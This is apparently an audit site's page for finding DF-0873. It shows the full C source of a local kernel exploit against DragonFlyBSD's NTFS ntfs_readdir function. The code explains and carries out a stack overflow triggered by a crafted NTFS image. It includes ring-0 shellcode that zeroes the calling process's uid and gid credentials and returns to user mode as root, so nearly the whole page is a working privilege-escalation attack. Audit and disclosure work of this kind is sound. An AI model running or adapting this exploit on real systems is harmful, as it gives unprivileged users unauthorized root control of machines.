DragonFlyBSD Kernel Audit
DF-0873 / exploit.c
← back to finding ↓ download raw
/*
 * DF-0873 EXPLOIT CHAIN -- ntfs_readdir convname stack smash -> uid=0.
 *
 * Primitive (confirmed on GENERIC #0, no canary, no SMAP/SMEP/KASLR):
 *   ntfs_readdir's convname[256] loop writes 2 bytes per wide wchar; with
 *   ie_fnamelen=255 (u8, unvalidated) crafted wide, j reaches 320 and smashes
 *   saved rbx/r12/r13/r14/r15/rbp + the RETURN ADDRESS at convname[312..319].
 *
 * Chain:
 *   1. mmap the shellcode at a fixed low user address (all bytes <0x80):
 *      SHELLCODE_ADDR = 0x1337000.  Also a fresh user stack at 0x1400000.
 *   2. Craft NTFS image (craft_img.py) whose evil INDEX entry wchar stream is
 *      182 singles + 65 wide + 8 (shellcode-addr LE bytes) so j stops at
 *      EXACTLY 320: convname[312..319] = shellcode addr, convname[320]=NUL.
 *      Because j does not reach the caller's a_ncookies field (convname[320+]),
 *      a_ncookies stays NULL -> ntfs_readdir's cookies-path panic is BYPASSED
 *      and the function reaches `ret` with our smashed return address.
 *   3. getdents(dirfd, buf, 64): the ".." fake dirent fits (resid 64>=24),
 *      then the evil entry's convname loop runs (overflow), then
 *      vop_write_dirent(328 > 40 resid) returns 1 -> goto readdone, error
 *      stays 0, a_ncookies NULL -> skip cookies -> vn_unlock -> return ->
 *      `ret` -> RIP = shellcode (userspace, executable: no SMEP).
 *   4. Shellcode (ring 0): curthread -> td_proc -> p_ucred, zero cr_uid /
 *      cr_ruid / cr_svuid / cr_rgid / cr_groups[0], cr_ngroups=1.
 *   5. swapgs + iretq to win() (user CPL3, fresh stack) -> proves uid=0.
 *
 * The shellcode is straight-line (no branches) and uses ONLY immediates +
 * r15 as scratch, so it is safe to memcpy to a different (fixed) address.
 * The binary is non-PIE (gcc 8.3 default), so $win is a fixed absolute addr.
 *
 * Run as the UNPRIVILEGED maxx user; the image is mounted (root) beforehand.
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

#define SHELLCODE_ADDR  0x0000000001337000ULL
#define USTACK_ADDR     0x0000000001400000ULL
/* win() is reached via iretq (no call), so it sees RSP%16==0.  C/ABI expects
 * RSP%16==8 at a function entry (as if call-pushed).  Set the frame RSP to
 * TOP-8 so win's prologue observes the ABI alignment and libc/SSE works. */
#define USTACK_TOP      (USTACK_ADDR + 0x8000 - 8)
#define USER_RFLAGS     0x246ULL          /* IF + reserved bits set */
#define USER_CS         0x2b              /* DragonFly x86_64 user CODE seg */
#define USER_SS         0x23              /* DragonFly x86_64 user DATA seg */

static volatile int g_root_flag = 0;

__attribute__((noinline, aligned(4096)))
static void win(void)
{
    /* CPL3 after iretq.  cr_uid is now 0.  Minimal proof: exit code == uid.
     * The chain captures EXPLOIT_RC; 0 => root. */
    uid_t u = getuid();
    if (u == 0) {
        int fd = open("/tmp/DF0873_ROOT", O_WRONLY | O_CREAT | O_TRUNC, 0644);
        if (fd >= 0) {
            const char *m = "DF0873 uid=0\n";
            write(fd, m, 12);
            close(fd);
        }
    }
    _exit(u);   /* exit code = uid (0 = root) */
}

/*
 * Ring-0 shellcode.  Straight-line, no branches, immediates only -> safe to
 * relocate by memcpy to SHELLCODE_ADDR.
 *
 *   mov rax, [gs:0]          ; mycpu (per-cpu globaldata ptr)
 *   mov rax, [rax+0x08]      ; curthread
 *   mov rdi, [rax+0xa8]      ; curproc (td_proc)
 *   mov rsi, [rdi+0x10]      ; p_ucred
 *   mov dword [rsi+0x40], 0  ; cr_uid = 0
 *   mov dword [rsi+0xa0], 0  ; cr_ruid = 0
 *   mov dword [rsi+0xa4], 0  ; cr_svuid = 0
 *   mov word  [rsi+0x44], 1  ; cr_ngroups = 1
 *   mov dword [rsi+0xa8], 0  ; cr_rgid = 0
 *   mov dword [rsi+0x48], 0  ; cr_groups[0] = 0
 *   ; -- swapgs + build iretq frame (user CPL3, fresh stack) --
 *   swapgs
 *   mov rsp, USTACK_TOP
 *   mov r15, USER_SS
 *   push r15
 *   mov r15, USTACK_TOP
 *   push r15
 *   mov r15, USER_RFLAGS
 *   push r15
 *   mov r15, USER_CS
 *   push r15
 *   mov r15, win             ; absolute (non-PIE)
 *   push r15
 *   iretq
 */
__attribute__((noinline, aligned(4096)))
static void shellcode(void)
{
    __asm__ volatile(
        "movq %%gs:0x0, %%rax\n\t"
        "movq 0x08(%%rax), %%rax\n\t"        /* rax = curthread */
        "movq 0xa8(%%rax), %%rdi\n\t"        /* curproc */
        "movq 0x10(%%rdi), %%rsi\n\t"        /* p_ucred */
        "movl $0, 0x40(%%rsi)\n\t"           /* cr_uid = 0 */
        "movl $0, 0xa0(%%rsi)\n\t"           /* cr_ruid = 0 */
        "movl $0, 0xa4(%%rsi)\n\t"           /* cr_svuid = 0 */
        "movw $1, 0x44(%%rsi)\n\t"           /* cr_ngroups = 1 */
        "movl $0, 0xa8(%%rsi)\n\t"           /* cr_rgid = 0 */
        "movl $0, 0x48(%%rsi)\n\t"           /* cr_groups[0] = 0 */
        /* reset the lwkt token ring so the post-iretq syscall does not trip
         * the INVARIANTS KASSERT "extra tokens held after trap" (the hijacked
         * getdents leaked ~2 tokens).  td_toks_stop @ +0x1d0 must equal
         * &td_toks_array[0] (= curthread + 0x1d8). */
        "leaq 0x1d8(%%rax), %%rcx\n\t"
        "movq %%rcx, 0x1d0(%%rax)\n\t"
        "cli\n\t"
        /* build the iretq frame on the CURRENT (kernel) stack, then swapgs,
         * then iretq -- keeping the bad-state window (user gs) to one insn. */
        "subq $0x30, %%rsp\n\t"
        "movq %[ss], 0x20(%%rsp)\n\t"
        "movq %[ust], 0x18(%%rsp)\n\t"
        "movq %[rfl], 0x10(%%rsp)\n\t"
        "movq %[cs], 0x08(%%rsp)\n\t"
        "movq %q[win], 0x00(%%rsp)\n\t"
        "swapgs\n\t"
        "iretq\n\t"
        :
        : [ust] "i" (USTACK_TOP),
          [ss]  "i" ((uint64_t)USER_SS),
          [rfl] "i" (USER_RFLAGS),
          [cs]  "i" ((uint64_t)USER_CS),
          [win] "i" ((uint64_t)&win)
        : "rax", "rcx", "rdi", "rsi", "rsp", "memory");
}

__attribute__((noinline, aligned(4096)))
static void shellcode_end(void) { }

#define SYS_getdents 480

int main(int argc, char **argv)
{
    const char *mp = (argc > 1) ? argv[1] : "/mnt/evil";

    /* fresh user stack for the post-iretq landing */
    void *ustack = mmap((void *)USTACK_ADDR, 0x10000,
                        PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0);
    if (ustack == MAP_FAILED) { perror("mmap ustack"); return 2; }

    /* map the shellcode page at the fixed address the image was built for */
    size_t sc_len = (size_t)((char *)shellcode_end - (char *)shellcode);
    void *sc_page = mmap((void *)SHELLCODE_ADDR, 0x1000,
                         PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0);
    if (sc_page == MAP_FAILED) { perror("mmap shellcode"); return 2; }
    memcpy(sc_page, (void *)shellcode, sc_len);
    printf("[*] shellcode @ %p (len %zu), win @ %p, ustack @ %p\n",
           sc_page, sc_len, (void *)&win, ustack);

    int fd = open(mp, O_RDONLY | O_DIRECTORY);
    if (fd < 0) { perror("open dir"); return 2; }
    printf("[*] opened %s fd=%d; getdents(64) -> ntfs_readdir overflow...\n", mp, fd);

    char buf[64];
    ssize_t n = syscall(SYS_getdents, fd, buf, sizeof(buf));
    /* reached only if ret was NOT hijacked */
    printf("[*] getdents returned %zd; uid=%d\n", n, getuid());
    close(fd);
    return (g_root_flag == 1) ? 0 : 1;
}